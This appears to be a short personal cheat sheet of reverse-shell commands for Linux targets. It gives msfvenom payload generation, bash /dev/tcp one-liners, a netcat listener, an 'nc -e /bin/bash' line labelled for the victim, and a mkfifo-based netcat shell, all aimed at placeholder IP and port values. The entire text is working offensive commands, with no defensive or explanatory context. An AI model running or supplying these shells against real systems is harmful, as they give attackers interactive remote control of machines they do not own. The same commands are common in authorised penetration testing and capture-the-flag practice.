Most common: msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell1.elf

Simple bash:
bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"

OR

bash -i >& /dev/tcp/ip/port 0>&1

Netcat listener (remove rlwrap if cannot use):
rlwrap nc -nvlp 8007

MSFVenom to generate (can change cmd/unix to linux/x64):
msfvenom -l payloads | grep "cmd/unix" | awk '{print $1}'
Use it with:
msfvenom -p cmd/xxx LHOST=IP LPORT=yyy -f elf > shell.elf
(Remember chmod +x)

Simple netcat listener: nc -nvlp 4444

Victim: nc -e /bin/bash IP 4444

mkfifo /tmp/bzxltd; nc IP PORT 0</tmp/bzxltd | /bin/sh >/tmp/bzxltd 2>&1; rm /tmp/bzxltd